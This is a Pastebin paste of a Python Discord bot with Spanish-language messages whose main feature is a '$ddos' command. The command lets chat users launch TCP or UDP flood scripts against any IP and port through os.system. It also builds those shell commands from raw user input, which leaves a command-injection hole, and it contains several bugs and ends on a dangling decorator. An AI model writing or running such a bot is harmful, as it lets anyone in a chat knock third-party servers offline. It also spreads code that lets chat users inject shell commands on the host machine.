Advertisement
Guest User

bot

a guest
Nov 17th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.61 KB | None | 0 0
  1. import discord
  2. import colorama
  3. import asyncio
  4. import random
  5. import os
  6. from colorama import *
  7. from discord.ext import commands
  8.  
  9. client = commands.Bot(command_prefix = "$")
  10.  
  11. @client.event
  12. async def on_ready():
  13. print(Fore.YELLOW+"[INFO] Bot iniciado")
  14.  
  15. @client.event
  16. async def on_member_join(member):
  17. print(fore.GREEN+f"[INFO] {member} a entrando un nuevo miembro")
  18.  
  19. @client.event
  20. async def on_member_remove(member):
  21. print(fore.RED+f"[INFO]{member} a salido del servidor")
  22.  
  23. @client.command()
  24. async def ping(ctx):
  25. await ctx.send(f"**Latencia: {client.latency * 1000}ms**")
  26.  
  27. @client.command()
  28. async def clear(ctx, amount = 1):
  29. await ctx.channel.purge(limit=amount)
  30. await ctx.send(f"**Eliminaste los mensajes existosamente**")
  31. @client.command()
  32. async def ddos(ctx, ip, port, time, metodo = ''):
  33. if ip == '':
  34. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  35. elif ip == '127.0.0.1':
  36. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  37. metodo == ''
  38. elif ip == '1.1.1.1':
  39. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  40. metodo == ''
  41. elif ip == '0.0.0.0':
  42. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  43. metodo == ''
  44. elif ip == 'localhost':
  45. metodo == ''
  46. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  47. if port == '':
  48. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  49. if time == '':
  50. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  51. if metodo == 'TCP':
  52. await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
  53. os.system("start python Layer4.py " + ip + " " + port + " 300 " + time)
  54. elif metodo == 'UDP':
  55. await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
  56. os.system("start python DontOpen.py " + ip + " " + port + " " + time)
  57. elif metodo == '':
  58. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  59. else:
  60. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  61. @client.command()
  62. async def metodos(ctx):
  63. await ctx.send(f"""
  64. **Metodos:**
  65. ```TCP - Ataque por el protocolo TCP```
  66. ```UDP - Ataque por el protocolo UDP```""")
  67. @client.command()
  68. async def ayuda(ctx):
  69. await ctx.send(f"""
  70. **Comandos:**
  71. ```DDoS:```
  72. $ddos (ip) (puerto) (tiempo) (metodo)
  73. ```Variados:```
  74. $ping - Mirar la latencia del bot
  75. **Proximamente**""")
  76. @client.command()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement